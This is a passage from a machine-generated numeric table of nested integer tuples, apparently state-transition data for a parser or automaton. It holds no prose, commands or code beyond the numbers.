{0,{13763,13763,13763,13763}}, {0,{13772,13772,13772,13772}}, {0,{13779,7485,7485,7485}}, {0,{13780,7486,7486,7486}}, {0,{13781,13781,13781,13781}}, {0,{13782,13782,13782,13782}}, {0,{13783,13783,13783,13783}}, {0,{13769,13769,13771,13719}}, {0,{13713,13713,13713,13713}}, {2020,{13786,13799,13784,13784}}, {0,{13787,13793,13793,13713}}, {0,{13788,7470,7470,7470}}, {0,{13789,7464,7466,7468}}, {0,{13790,13790,13790,13790}}, {0,{13791,13791,13791,13791}}, {0,{13792,13792,13792,13792}}, {0,{13677,13677,13680,13681}}, {0,{13794,7470,7470,7470}}, {0,{13795,7468,7468,7468}}, {0,{13796,13796,13796,13796}}, {0,{13797,13797,13797,13797}}, {0,{13798,13798,13798,13798}}, {0,{13710,13710,13712,13710}}, {2021,{13800,13754,13754,13754}}, {0,{13801,7481,7473,7473}}, {0,{13802,7479,7474,7474}}, {0,{13803,13803,13803,13803}}, {0,{13804,13804,13804,13804}}, {0,{13805,13805,13805,13805}}, {0,{13733,13733,13734,13719}}, {0,{13807,13882,13784,13784}}, {2022,{13808,13854,13854,13865}}, {0,{13809,13853,13853,13853}}, {0,{13810,13832,13838,13844}}, {0,{13811,13811,13811,13811}}, {0,{13812,13812,13812,13812}}, {0,{13813,13813,13813,13813}}, {0,{13814,13814,13831,13681}}, {0,{13815,13815,13821,13827}}, {0,{13816,13816,13816,13819}}, {0,{13817,13818,0,0}}, {2023,{3834,3837,0,0}}, {2024,{3840,3837,0,0}}, {0,{13820,13820,0,0}}, {2025,{0,0,0,0}}, {0,{13822,13822,13822,13825}}, {0,{13823,13824,13674,13674}}, {2026,{13658,13668,13668,13668}}, {2027,{13670,13668,13668,13668}}, {0,{13826,13826,13674,13674}}, {2028,{13668,13668,13668,13668}}, {0,{13828,13828,13828,13819}}, {0,{13829,13830,0,0}}, {2029,{3854,0,0,0}}, {2030,{3858,0,0,0}}, {2031,{13815,13815,13821,13827}}, {0,{13833,13833,13833,13833}}, {0,{13834,13834,13834,13834}}, {0,{13835,13835,13835,13835}}, {0,{13836,13836,13837,3883}}, {0,{13815,13815,13827,13827}}, {2032,{13815,13815,13827,13827}}, {0,{13839,13839,13839,13839}}, {0,{13840,13840,13840,13840}}, {0,{13841,13841,13841,13841}}, {0,{13842,13842,13843,3883}}, {0,{13827,13827,13827,13827}}, {2033,{13827,13827,13827,13827}}, {0,{13845,13845,13845,13845}}, {0,{13846,13846,13846,13846}}, {0,{13847,13847,13847,13847}}, {0,{13848,13848,13852,4796}}, {0,{13849,13849,13849,13849}}, {0,{13850,13850,13850,13819}}, {0,{13851,13820,0,0}}, {2034,{4795,0,0,0}}, {2035,{13849,13849,13849,13849}}, {0,{13844,13844,13844,13844}}, {0,{13855,13853,13853,13853}}, {0,{13856,13844,13844,13844}}, {0,{13857,13857,13857,13857}}, {0,{13858,13858,13858,13858}}, {0,{13859,13859,13859,13859}}, {0,{13860,13860,13864,13710}}, {0,{13849,13849,13861,13849}}, {0,{13862,13862,13862,13825}}, {0,{13863,13826,13674,13674}}, {2036,{13709,13668,13668,13668}}, {2037,{13849,13849,13861,13849}}, {0,{13866,13881,13881,13881}}, {0,{13867,13875,13875,13875}}, {0,{13868,13868,13868,13868}}, {0,{13869,13869,13869,13869}}, {0,{13870,13870,13870,13870}}, {0,{13871,13871,13874,13719}}, {0,{13872,13872,13873,13872}}, {0,{13819,13819,13819,13819}}, {0,{13825,13825,13825,13825}}, {2038,{13872,13872,13873,13872}}, {0,{13876,13876,13876,13876}}, {0,{13877,13877,13877,13877}}, {0,{13878,13878,13878,13878}}, {0,{13879,13879,13880,0}}, {0,{13872,13872,13872,13872}}, {2039,{13872,13872,13872,13872}}, {0,{13875,13875,13875,13875}}, {2041,{13883,13901,13901,13901}}, {0,{13884,13900,13881,13881}}, {0,{13885,13894,13875,13875}}, {0,{13886,13886,13886,13886}}, {0,{13887,13887,13887,13887}}, {0,{13888,13888,13888,13888}}, {0,{13889,13889,13893,13719}}, {0,{13890,13890,13873,13872}}, {0,{13891,13891,13891,13819}}, {0,{13892,13892,0,0}}, {2042,{3837,3837,0,0}}, {2043,{13890,13890,13873,13872}}, {0,{13895,13895,13895,13895}}, {0,{13896,13896,13896,13896}}, {0,{13897,13897,13897,13897}}, {0,{13898,13898,13899,0}}, {0,{13890,13890,13872,13872}}, {2044,{13890,13890,13872,13872}}, {2046,{13875,13875,13875,13875}}, {0,{13866,13900,13881,13881}}, {0,{13903,13911,13913,13913}}, {0,{13904,13904,13904,13910}}, {0,{13905,0,0,0}}, {0,{13906,0,0,0}}, {0,{13907,13907,13907,13907}}, {0,{13908,13908,13908,13908}}, {0,{13909,13909,13909,13909}}, {0,{13719,13719,13719,13719}}, {2047,{13905,0,0,0}}, {2048,{13912,13912,13912,13912}}, {0,{13905,6611,0,0}}, {0,{13904,13904,13904,13904}}, {0,{13915,13929,13930,13944}}, {0,{13916,13920,13927,7488}}, {0,{13917,13919,13919,7472}}, {0,{13918,13698,13698,13698}}, {0,{13682,13682,13687,13692}}, {0,{13698,13698,13698,13698}}, {2049,{13921,13925,13925,7482}}, {0,{13922,13745,13746,13746}}, {0,{13923,13923,13924,13740}}, {2050,{13736,13736,13736,13736}}, {2051,{13741,13741,13741,13741}}, {0,{13926,13745,13746,13746}}, {0,{13924,13924,13924,13740}}, {0,{13928,13928,13928,7484}}, {0,{13777,13777,13777,13777}}, {2052,{7461,7523,7488,7488}}, {0,{13931,13936,7488,7488}}, {2053,{13932,13934,13934,13935}}, {0,{13933,13853,13853,13853}}, {0,{13832,13832,13838,13844}}, {0,{13853,13853,13853,13853}}, {0,{13881,13881,13881,13881}}, {2055,{13937,13941,13941,13943}}, {0,{13938,13900,13881,13881}}, {0,{13939,13939,13940,13875}}, {2056,{13895,13895,13895,13895}}, {2057,{13876,13876,13876,13876}}, {0,{13942,13900,13881,13881}}, {0,{13940,13940,13940,13875}}, {0,{13881,13900,13881,13881}}, {0,{13945,6617,0,0}}, {0,{0,0,0,13946}}, {2058,{0,0,0,0}}, {0,{13948,14043,14058,14097}}, {0,{13949,14009,14021,14042}}, {0,{13950,13999,13999,14000}}, {0,{13951,13986,13986,13698}}, {0,{13952,13687,13687,13692}}, {0,{13953,13953,13953,13953}}, {0,{13954,13954,13954,13954}}, {0,{13955,13955,13955,13955}}, {0,{13956,13982,13985,13982}}, {0,{13957,13957,13957,13676}}, {0,{13958,13958,13958,13981}}, {0,{13959,13974,13980,13980}}, {0,{13960,13973,13973,13973}}, {0,{13961,13968,13968,13969}}, {0,{13962,13967,13967,13967}}, {0,{13963,13963,13965,3748}}, {0,{13964,13964,13964,3745}}, {2060,{3589,3589,3589,3589}}, {0,{13966,13966,13966,3745}}, {2062,{3571,3571,3571,3571}}, {0,{13965,13965,13965,3748}}, {0,{13967,13967,13967,13967}}, {0,{13970,13970,13970,13970}}, {0,{13971,13971,13971,0}}, {0,{13972,13972,13972,0}}, {2064,{0,0,0,0}}, {0,{13969,13969,13969,13969}}, {0,{13975,13973,13973,13973}}, {0,{13976,13969,13969,13969}}, {0,{13977,13970,13970,13970}}, {0,{13978,13978,13971,0}}, {0,{13979,13979,13979,0}}, {2066,{3726,3726,3726,3726}}, {0,{13973,13973,13973,13973}}, {2067,{13980,13980,13980,13980}}, {0,{13983,13983,13983,3865}}, {0,{13958,13958,13958,13984}}, {0,{13980,13980,13980,13980}}, {2068,{13983,13983,13983,3865}}, {0,{13987,13692,13692,13692}}, {0,{13988,13988,13988,13988}}, {0,{13989,13989,13989,13989}}, {0,{13990,13990,13990,13990}}, {0,{13991,13996,13998,13996}}, {0,{13992,13992,13992,13697}}, {0,{13993,13993,13993,13981}}, {0,{13994,13980,13980,13980}}, {0,{13995,13973,13973,13973}}, {0,{13968,13968,13968,13969}}, {0,{13997,13997,13997,4797}}, {0,{13993,13993,13993,13984}}, {2069,{13997,13997,13997,4797}}, {0,{13986,13986,13986,13698}}, {0,{14001,14001,14001,7473}}, {0,{14002,7474,7474,7474}}, {0,{14003,14003,14003,14003}}, {0,{14004,14004,14004,14004}}, {0,{14005,14005,14005,14005}}, {0,{14006,14006,14008,14006}}, {0,{14007,14007,14007,0}}, {0,{13984,13984,13984,13984}}, {2070,{14007,14007,14007,0}}, {2071,{14010,14010,14010,14019}}, {0,{14011,14018,14011,13746}}, {0,{14012,13740,13740,13740}}, {0,{14013,14013,14013,14013}}, {0,{14014,14014,14014,14014}}, {0,{14015,14015,14015,14015}}, {0,{14016,14006,14008,14006}}, {0,{14017,14017,14017,13732}}, {0,{13984,13984,13984,13981}}, {2073,{14012,13740,13740,13740}}, {0,{14001,14020,14001,7473}}, {2075,{14002,7474,7474,7474}}, {0,{14022,14022,14022,14036}}, {0,{14023,14023,14023,13777}}, {0,{14024,13772,13772,13772}}, {0,{14025,14025,14025,14025}}, {0,{14026,14026,14026,14026}}, {0,{14027,14027,14027,14027}}, {0,{14028,14033,14035,14006}}, {0,{14029,14029,14029,13763}}, {0,{14030,14030,14030,14032}}, {0,{14031,13980,13980,13980}}, {2076,{13973,13973,13973,13973}}, {2077,{14031,13980,13980,13980}}, {0,{14034,14034,14034,5324}}, {0,{14030,14030,14030,14030}}, {2078,{14034,14034,14034,5324}}, {0,{14037,14037,14037,7485}}, {0,{14038,7486,7486,7486}}, {0,{14039,14039,14039,14039}}, {0,{14040,14040,14040,14040}}, {0,{14041,14041,14041,14041}}, {0,{14033,14033,14035,14006}}, {0,{14000,14000,14000,14000}}, {2079,{14044,14057,14042,14042}}, {0,{14045,14056,14056,14000}}, {0,{14046,14051,14051,7470}}, {0,{14047,7466,7466,7468}}, {0,{14048,14048,14048,14048}}, {0,{14049,14049,14049,14049}}, {0,{14050,14050,14050,14050}}, {0,{13982,13982,13985,13982}}, {0,{14052,7468,7468,7468}}, {0,{14053,14053,14053,14053}}, {0,{14054,14054,14054,14054}}, {0,{14055,14055,14055,14055}}, {0,{13996,13996,13998,13996}}, {0,{14051,14051,14051,7470}}, {2080,{14019,14019,14019,14019}}, {0,{14059,14094,14042,14042}}, {2081,{14060,14084,14084,14085}}, {0,{14061,14074,14074,13853}}, {0,{14062,13838,13838,13844}}, {0,{14063,14063,14063,14063}}, {0,{14064,14064,14064,14064}}, {0,{14065,14065,14065,14065}}, {0,{14066,14066,14073,13982}}, {0,{14067,14067,14067,13827}}, {0,{14068,14068,14068,14071}}, {0,{14069,14070,13980,13980}}, {2082,{13960,13973,13973,13973}}, {2083,{13975,13973,13973,13973}}, {0,{14072,14072,13980,13980}}, {2084,{13973,13973,13973,13973}}, {2085,{14067,14067,14067,13827}}, {0,{14075,13844,13844,13844}}, {0,{14076,14076,14076,14076}}, {0,{14077,14077,14077,14077}}, {0,{14078,14078,14078,14078}}, {0,{14079,14079,14083,13996}}, {0,{14080,14080,14080,13849}}, {0,{14081,14081,14081,14071}}, {0,{14082,14072,13980,13980}}, {2086,{13995,13973,13973,13973}}, {2087,{14080,14080,14080,13849}}, {0,{14074,14074,14074,13853}}, {0,{14086,14086,14086,13881}}, {0,{14087,13875,13875,13875}}, {0,{14088,14088,14088,14088}}, {0,{14089,14089,14089,14089}}, {0,{14090,14090,14090,14090}}, {0,{14091,14091,14093,14006}}, {0,{14092,14092,14092,13872}}, {0,{14071,14071,14071,14071}}, {2088,{14092,14092,14092,13872}}, {2090,{14095,14095,14095,14095}}, {0,{14086,14096,14086,13881}}, {2092,{14087,13875,13875,13875}}, {0,{14098,14106,14109,14109}}, {0,{14099,14099,14099,14105}}, {0,{14100,14100,14100,0}}, {0,{14101,0,0,0}}, {0,{14102,14102,14102,14102}}, {0,{14103,14103,14103,14103}}, {0,{14104,14104,14104,14104}}, {0,{14006,14006,14006,14006}}, {2093,{14100,14100,14100,0}}, {2094,{14107,14107,14107,14107}}, {0,{14100,14108,14100,0}}, {2096,{14101,0,0,0}}, {0,{14099,14099,14099,14099}}, {0,{14111,14117,14118,14123}}, {0,{14112,14115,13927,7488}}, {0,{14113,13919,13919,7472}}, {0,{14114,13698,13698,13698}}, {0,{13687,13687,13687,13692}}, {2097,{14116,14116,14116,7482}}, {0,{13746,13745,13746,13746}}, {2098,{7542,7545,7488,7488}}, {0,{14119,14122,7488,7488}}, {2099,{14120,13934,13934,13935}}, {0,{14121,13853,13853,13853}}, {0,{13838,13838,13838,13844}}, {2101,{13943,13943,13943,13943}}, {0,{13945,6623,0,0}}, {0,{14125,14178,14179,14232}}, {0,{14126,14147,14126,13902}}, {0,{14127,14140,13913,13913}}, {0,{14128,14134,14134,13904}}, {0,{14129,6604,6604,6604}}, {0,{14130,6532,6603,6540}}, {0,{14131,14131,14131,14131}}, {0,{14132,14132,14132,14132}}, {0,{14133,14133,14133,14133}}, {0,{13677,13677,13677,13681}}, {0,{14135,6604,6604,6604}}, {0,{14136,6540,6540,6540}}, {0,{14137,14137,14137,14137}}, {0,{14138,14138,14138,14138}}, {0,{14139,14139,14139,14139}}, {0,{13710,13710,13710,13710}}, {2102,{14141,13912,13912,13912}}, {0,{14142,6611,0,0}}, {0,{14143,6586,0,0}}, {0,{14144,14144,14144,14144}}, {0,{14145,14145,14145,14145}}, {0,{14146,14146,14146,14146}}, {0,{13733,13733,13733,13719}}, {2103,{14127,14140,14148,13913}}, {0,{14149,13904,13904,13904}}, {0,{14150,0,0,0}}, {0,{14151,0,0,0}}, {0,{14152,14152,14152,14152}}, {0,{14153,14153,14153,13908}}, {0,{14154,14154,13909,13909}}, {0,{14155,13719,13719,13719}}, {0,{14156,0,13720,0}}, {0,{14157,14157,14157,14157}}, {0,{14158,0,0,0}}, {0,{14159,0,0,0}}, {0,{0,0,0,14160}}, {0,{14161,0,0,0}}, {0,{14162,0,0,0}}, {0,{0,0,0,14163}}, {0,{14164,14164,14164,14164}}, {0,{14165,14165,14165,14165}}, {0,{14166,14166,14166,14166}}, {0,{14167,14167,14167,0}}, {0,{14168,14168,0,0}}, {0,{14169,14169,14169,14169}}, {0,{0,0,0,14170}}, {0,{14171,14171,14171,14171}}, {0,{14172,14172,14172,14172}}, {0,{14173,0,0,0}}, {0,{0,0,0,14174}}, {0,{0,0,0,14175}}, {0,{0,0,0,14176}}, {0,{14177,0,0,0}}, {2104,{0,0,0,0}}, {0,{6599,6615,6599,13944}}, {0,{14180,14194,14180,14097}}, {0,{14181,14106,14109,14109}}, {0,{14182,14193,14193,14099}}, {0,{14183,14188,14188,6604}}, {0,{14184,6603,6603,6540}}, {0,{14185,14185,14185,14185}}, {0,{14186,14186,14186,14186}}, {0,{14187,14187,14187,14187}}, {0,{13982,13982,13982,13982}}, {0,{14189,6540,6540,6540}}, {0,{14190,14190,14190,14190}}, {0,{14191,14191,14191,14191}}, {0,{14192,14192,14192,14192}}, {0,{13996,13996,13996,13996}}, {0,{14188,14188,14188,6604}}, {2105,{14181,14106,14195,14109}}, {0,{14196,14099,14099,14099}}, {0,{14197,14100,14100,0}}, {0,{14198,0,0,0}}, {0,{14199,14199,14199,14102}}, {0,{14200,14200,14200,14103}}, {0,{14201,14201,14104,14104}}, {0,{14202,14006,14006,14006}}, {0,{14203,14007,14007,0}}, {0,{14204,14204,14204,14204}}, {0,{13980,14205,13980,13980}}, {0,{14206,13973,13973,13973}}, {0,{13969,13969,13969,14207}}, {0,{14208,13970,13970,13970}}, {0,{14209,13971,13971,0}}, {0,{13972,13972,13972,14210}}, {0,{14211,14211,14211,14211}}, {0,{14212,14212,14212,0}}, {0,{14213,14213,0,0}}, {0,{14214,14214,14214,0}}, {0,{14215,14215,0,0}}, {0,{14216,14216,14216,14216}}, {0,{0,0,0,14217}}, {0,{14218,14218,14218,14218}}, {0,{14219,14219,14219,14219}}, {0,{14220,0,0,0}}, {0,{0,0,0,14221}}, {0,{0,0,0,14222}}, {0,{0,0,0,14223}}, {0,{14224,0,0,0}}, {0,{0,0,0,14225}}, {0,{0,0,0,14226}}, {0,{14227,14227,14227,14227}}, {0,{14228,14228,14228,14228}}, {0,{14229,14229,14229,14229}}, {0,{14230,14230,14230,0}}, {0,{14231,14231,0,0}}, {2106,{0,0,0,0}}, {0,{6619,6671,6619,14123}}, {0,{14234,14277,14279,14313}}, {0,{14235,14250,14252,14275}}, {0,{14236,14240,14243,13913}}, {0,{14237,14238,14238,14239}}, {0,{14129,6604,8555,6604}}, {0,{14135,6604,8555,6604}}, {0,{13905,0,8557,0}}, {2107,{14241,14242,14242,14242}}, {0,{14142,6611,8557,0}}, {0,{13905,6611,8557,0}}, {0,{14244,14244,14244,14244}}, {0,{14245,7408,8562,7408}}, {0,{14246,7172,7172,7172}}, {0,{14247,14247,14247,14247}}, {0,{14248,14248,14248,14248}}, {0,{14249,14249,14249,14249}}, {0,{13769,13769,13769,13719}}, {2108,{14236,14240,14251,13913}}, {0,{14239,14239,14239,14239}}, {0,{14253,14240,14251,13913}}, {0,{14254,14261,14261,14268}}, {0,{14255,7414,8568,7414}}, {0,{14256,7413,7262,7267}}, {0,{14257,14257,14257,14257}}, {0,{14258,14258,14258,14258}}, {0,{14259,14259,14259,14259}}, {0,{14260,13677,13677,13681}}, {2109,{3864,3864,13678,3865}}, {0,{14262,7414,8568,7414}}, {0,{14263,7267,7267,7267}}, {0,{14264,14264,14264,14264}}, {0,{14265,14265,14265,14265}}, {0,{14266,14266,14266,14266}}, {0,{14267,13710,13710,13710}}, {2110,{4797,4797,13711,4797}}, {0,{14269,7417,8570,7417}}, {0,{14270,7317,7317,7317}}, {0,{14271,14271,14271,14271}}, {0,{14272,14272,14272,14272}}, {0,{14273,14273,14273,14273}}, {0,{14274,13719,13719,13719}}, {2111,{0,0,13720,0}}, {0,{14251,14276,14251,13913}}, {2112,{14242,14242,14242,14242}}, {0,{7405,6615,14278,6616}}, {0,{7410,6606,0,0}}, {0,{14280,14288,14289,14312}}, {0,{14181,14106,14281,14109}}, {0,{14282,14282,14282,14282}}, {0,{14283,14283,14283,7408}}, {0,{14284,7172,7172,7172}}, {0,{14285,14285,14285,14285}}, {0,{14286,14286,14286,14286}}, {0,{14287,14287,14287,14287}}, {0,{14033,14033,14033,14006}}, {2113,{14181,14106,14109,14109}}, {0,{14290,14106,14109,14109}}, {0,{14291,14304,14304,14305}}, {0,{14292,14298,14298,7414}}, {0,{14293,7262,7262,7267}}, {0,{14294,14294,14294,14294}}, {0,{14295,14295,14295,14295}}, {0,{14296,14296,14296,14296}}, {0,{14297,13982,13982,13982}}, {2114,{13983,13983,13983,3865}}, {0,{14299,7267,7267,7267}}, {0,{14300,14300,14300,14300}}, {0,{14301,14301,14301,14301}}, {0,{14302,14302,14302,14302}}, {0,{14303,13996,13996,13996}}, {2115,{13997,13997,13997,4797}}, {0,{14298,14298,14298,7414}}, {0,{14306,14306,14306,7417}}, {0,{14307,7317,7317,7317}}, {0,{14308,14308,14308,14308}}, {0,{14309,14309,14309,14309}}, {0,{14310,14310,14310,14310}}, {0,{14311,14006,14006,14006}}, {2116,{14007,14007,14007,0}}, {0,{14109,14106,14109,14109}}, {0,{7429,6671,14314,6669}}, {0,{7431,6623,0,0}}, {0,{14316,6670,14327,6670}}, {0,{14317,14325,14317,14326}}, {0,{14318,13911,13913,13913}}, {0,{14319,14134,14134,13904}}, {0,{14320,6604,6604,6604}}, {0,{14321,6603,6603,6540}}, {0,{14322,14322,14322,14322}}, {0,{14323,14323,14323,14323}}, {0,{14324,14324,14324,14324}}, {0,{13681,13681,13681,13681}}, {2117,{14318,13911,13913,13913}}, {0,{13913,13911,13913,13913}}, {0,{14180,14288,14180,14312}}, {0,{13642,14124,14329,14315}}, {0,{14330,14277,14279,14313}}, {0,{14331,14334,14335,14326}}, {0,{14127,14140,14332,13913}}, {0,{14333,14333,14333,14333}}, {0,{14245,7408,7408,7408}}, {2118,{14127,14140,13913,13913}}, {0,{14336,14140,13913,13913}}, {0,{14337,14338,14338,14339}}, {0,{14255,7414,7414,7414}}, {0,{14262,7414,7414,7414}}, {0,{14269,7417,7417,7417}}, {0,{14341,14352,14389,14315}}, {0,{14342,13914,13947,14110}}, {0,{13644,13785,14343,13902}}, {0,{13807,13882,14344,13784}}, {0,{14345,14345,14345,14345}}, {0,{13714,7473,14346,7473}}, {0,{7474,7474,7474,14347}}, {0,{7475,7475,7475,14348}}, {0,{4913,4913,4913,14349}}, {0,{4914,4914,4914,14350}}, {0,{0,0,14351,0}}, {2120,{0,0,0,0}}, {0,{14353,14178,14388,14232}}, {0,{14126,14334,14354,13902}}, {0,{14355,14374,14379,14387}}, {0,{14356,14364,14364,14366}}, {0,{14357,14363,14363,14363}}, {0,{14130,6532,6603,14358}}, {0,{6541,6541,6541,14359}}, {0,{6542,6542,6542,14360}}, {0,{6543,6543,6543,14361}}, {0,{14362,4796,14362,4796}}, {2121,{4797,4797,4797,4797}}, {0,{6540,6540,6540,14358}}, {0,{14365,14363,14363,14363}}, {0,{14136,6540,6540,14358}}, {0,{14367,14373,14373,14373}}, {0,{13906,0,0,14368}}, {0,{0,0,0,14369}}, {0,{0,0,0,14370}}, {0,{0,0,0,14371}}, {0,{14372,0,14372,0}}, {2122,{0,0,0,0}}, {0,{0,0,0,14368}}, {2123,{14375,14378,14378,14378}}, {0,{14376,14377,14373,14373}}, {0,{14143,6586,0,14368}}, {2125,{0,0,0,14368}}, {0,{14367,14377,14373,14373}}, {0,{14380,14380,14380,14380}}, {0,{14367,14373,14381,14373}}, {0,{0,0,0,14382}}, {0,{0,0,0,14383}}, {0,{0,0,0,14384}}, {0,{0,0,0,14385}}, {0,{14372,0,14386,0}}, {2127,{0,0,0,0}}, {0,{14366,14366,14366,14366}}, {0,{14180,14288,14180,14097}}, {2128,{14390,14277,14279,14313}}, {0,{14391,14423,14425,14442}}, {0,{14392,14410,14414,13913}}, {0,{14393,14401,14401,14402}}, {0,{14129,14394,6604,6604}}, {0,{14395,6540,6540,6540}}, {0,{6541,6541,6541,14396}}, {0,{6542,6542,6542,14397}}, {0,{6543,6543,6543,14398}}, {0,{14399,14399,14399,14399}}, {0,{14400,4797,4797,4797}}, {0,{8231,8231,8231,8242}}, {0,{14135,14394,6604,6604}}, {0,{13905,14403,0,0}}, {0,{14404,0,0,0}}, {0,{0,0,0,14405}}, {0,{0,0,0,14406}}, {0,{0,0,0,14407}}, {0,{14408,14408,14408,14408}}, {0,{14409,0,0,0}}, {0,{8242,8242,8242,8242}}, {2129,{14411,14413,14413,14413}}, {0,{14142,14412,0,0}}, {2131,{14404,0,0,0}}, {0,{13905,14412,0,0}}, {0,{14415,14415,14415,14415}}, {0,{14245,14416,7408,7408}}, {0,{14417,7172,7172,7172}}, {0,{7158,7158,7158,14418}}, {0,{7159,7159,7159,14419}}, {0,{7156,7156,7156,14420}}, {0,{14421,14421,14421,14408}}, {0,{14422,5324,5324,5324}}, {0,{8279,8279,8279,8279}}, {2132,{14392,14410,14424,13913}}, {0,{14402,14402,14402,14402}}, {0,{14426,14410,14424,13913}}, {0,{14427,14434,14434,14435}}, {0,{14255,14428,7414,7414}}, {0,{14429,7267,7267,7267}}, {0,{7268,7268,7268,14430}}, {0,{7269,7269,7269,14431}}, {0,{7270,7270,7270,14432}}, {0,{14433,14399,14399,14399}}, {2133,{14400,4797,4797,4797}}, {0,{14262,14428,7414,7414}}, {0,{14269,14436,7417,7417}}, {0,{14437,7317,7317,7317}}, {0,{7311,7311,7311,14438}}, {0,{7310,7310,7310,14439}}, {0,{7308,7308,7308,14440}}, {0,{14441,14408,14408,14408}}, {2134,{14409,0,0,0}}, {0,{14424,14443,14424,13913}}, {2135,{14413,14413,14413,14413}}, {0,{14445,14587,14613,14627}}, {0,{14446,14527,14529,8545}}, {0,{14447,14521,14521,14521}}, {0,{14448,14483,14493,14509}}, {0,{14449,14462,14470,7488}}, {0,{14450,14450,14450,14456}}, {0,{13698,13698,14451,13698}}, {0,{13692,13692,13692,14452}}, {0,{13693,13693,13693,14453}}, {0,{14454,13694,14454,13694}}, {0,{13695,14455,13695,13695}}, {2136,{13696,4796,4798,4796}}, {0,{7473,7473,14457,7473}}, {0,{7474,7474,7474,14458}}, {0,{7475,7475,7475,14459}}, {0,{14460,4913,14460,4913}}, {0,{4914,14461,4914,4914}}, {2137,{0,0,4910,0}}, {2138,{14463,14463,14463,14469}}, {0,{13746,13745,14464,13746}}, {0,{13740,13740,13740,14465}}, {0,{13741,13741,13741,14466}}, {0,{14467,13742,14467,13742}}, {0,{13743,14468,13743,13743}}, {2139,{13744,0,4910,0}}, {0,{7473,7481,14457,7473}}, {0,{14471,14471,14471,14477}}, {0,{13777,13777,14472,13777}}, {0,{13772,13772,13772,14473}}, {0,{13773,13773,13773,14474}}, {0,{14475,13774,14475,13774}}, {0,{13775,14476,13775,13775}}, {2140,{13776,5331,5332,0}}, {0,{7485,7485,14478,7485}}, {0,{7486,7486,7486,14479}}, {0,{7487,7487,7487,14480}}, {0,{14481,5338,14481,5338}}, {0,{5335,14482,5335,5335}}, {2141,{5331,5331,5332,0}}, {2142,{14484,14491,14492,7488}}, {0,{14485,14485,14485,14456}}, {0,{7470,7470,14486,7470}}, {0,{7468,7468,7468,14487}}, {0,{7469,7469,7469,14488}}, {0,{14489,4799,14489,4799}}, {0,{4800,14490,4800,4800}}, {2143,{4796,4796,4798,4796}}, {2144,{14469,14469,14469,14469}}, {0,{14456,14456,14456,14456}}, {0,{14494,14507,14492,7488}}, {2145,{14495,14495,14495,14501}}, {0,{13853,13853,14496,13853}}, {0,{13844,13844,13844,14497}}, {0,{13845,13845,13845,14498}}, {0,{14499,13846,14499,13846}}, {0,{13847,14500,13847,13847}}, {2146,{13848,13848,13852,4796}}, {0,{13881,13881,14502,13881}}, {0,{13875,13875,13875,14503}}, {0,{13876,13876,13876,14504}}, {0,{14505,13877,14505,13877}}, {0,{13878,14506,13878,13878}}, {2147,{13879,13879,13880,0}}, {2149,{14508,14508,14508,14508}}, {0,{13881,13900,14502,13881}}, {0,{14510,14518,14520,0}}, {0,{14511,14511,14511,14517}}, {0,{0,0,14512,0}}, {0,{0,0,0,14513}}, {0,{0,0,0,14514}}, {0,{14515,0,14515,0}}, {0,{0,14516,0,0}}, {2150,{0,0,0,0}}, {2151,{0,0,14512,0}}, {2152,{14519,14519,14519,14519}}, {0,{0,6611,14512,0}}, {0,{14511,14511,14511,14511}}, {0,{14522,14524,14525,14123}}, {0,{14523,14115,13927,7488}}, {0,{13919,13919,13919,7472}}, {2153,{8617,7545,7488,7488}}, {0,{14526,14122,7488,7488}}, {2154,{13934,13934,13934,13935}}, {0,{14528,14528,14528,14528}}, {0,{8547,8549,8547,14123}}, {0,{14530,14575,14586,14586}}, {0,{14531,14550,14559,14574}}, {0,{14532,14541,14543,0}}, {0,{14533,14533,14533,14539}}, {0,{6604,6604,14534,6604}}, {0,{7813,6540,7813,14535}}, {0,{6541,6541,6541,14536}}, {0,{14537,6542,14537,6542}}, {0,{6543,14538,6543,6543}}, {2155,{4796,4796,4796,4796}}, {0,{0,0,14540,0}}, {0,{7818,0,7818,14513}}, {2156,{14542,14542,14542,14542}}, {0,{0,6611,14540,0}}, {0,{14544,14544,14544,14544}}, {0,{7408,7408,14545,7408}}, {0,{7826,7172,7826,14546}}, {0,{7158,7158,7158,14547}}, {0,{14548,7159,14548,7159}}, {0,{7156,14549,7156,7156}}, {2157,{5331,5331,5331,0}}, {2158,{14551,14556,14558,0}}, {0,{14552,14552,14552,14554}}, {0,{6604,6604,14553,6604}}, {2159,{7813,6540,7813,14535}}, {0,{0,0,14555,0}}, {2160,{7818,0,7818,14513}}, {2161,{14557,14557,14557,14557}}, {0,{0,6611,14555,0}}, {0,{14554,14554,14554,14554}}, {0,{14560,14541,14573,0}}, {0,{14561,14561,14561,14567}}, {0,{7414,7414,14562,7414}}, {0,{7834,7267,7834,14563}}, {0,{7268,7268,7268,14564}}, {0,{14565,7269,14565,7269}}, {0,{7270,14566,7270,7270}}, {2162,{7271,4796,4796,4796}}, {0,{7417,7417,14568,7417}}, {0,{7839,7317,7839,14569}}, {0,{7311,7311,7311,14570}}, {0,{14571,7310,14571,7310}}, {0,{7308,14572,7308,7308}}, {2163,{7309,0,0,0}}, {0,{14539,14539,14539,14539}}, {0,{14573,14541,14573,0}}, {0,{8576,14576,14585,6669}}, {2164,{14577,14582,14584,0}}, {0,{14578,14578,14578,14580}}, {0,{6604,6604,14579,6604}}, {2165,{6540,6540,6540,6540}}, {0,{0,0,14581,0}}, {2166,{0,0,0,0}}, {2167,{14583,14583,14583,14583}}, {0,{0,6611,14581,0}}, {0,{14580,14580,14580,14580}}, {0,{8578,6623,0,0}}, {0,{8576,8549,14585,6669}}, {0,{14446,14527,14588,8545}}, {0,{14589,14575,14586,14586}}, {0,{14590,14597,14606,14612}}, {0,{14591,14518,14594,0}}, {0,{14592,14592,14592,14511}}, {0,{6604,6604,14593,6604}}, {0,{6540,6540,6540,14535}}, {0,{14595,14595,14595,14595}}, {0,{7408,7408,14596,7408}}, {0,{7172,7172,7172,14546}}, {2168,{14598,14603,14605,0}}, {0,{14599,14599,14599,14601}}, {0,{6604,6604,14600,6604}}, {2169,{6540,6540,6540,14535}}, {0,{0,0,14602,0}}, {2170,{0,0,0,14513}}, {2171,{14604,14604,14604,14604}}, {0,{0,6611,14602,0}}, {0,{14601,14601,14601,14601}}, {0,{14607,14518,14520,0}}, {0,{14608,14608,14608,14610}}, {0,{7414,7414,14609,7414}}, {0,{7267,7267,7267,14563}}, {0,{7417,7417,14611,7417}}, {0,{7317,7317,7317,14569}}, {0,{14520,14518,14520,0}}, {0,{14614,14527,14615,8545}}, {0,{14521,14521,14521,14521}}, {0,{14616,14575,14586,14586}}, {0,{8552,14617,14626,8574}}, {2172,{14618,14623,14625,0}}, {0,{14619,14619,14619,14621}}, {0,{6604,6604,14620,6604}}, 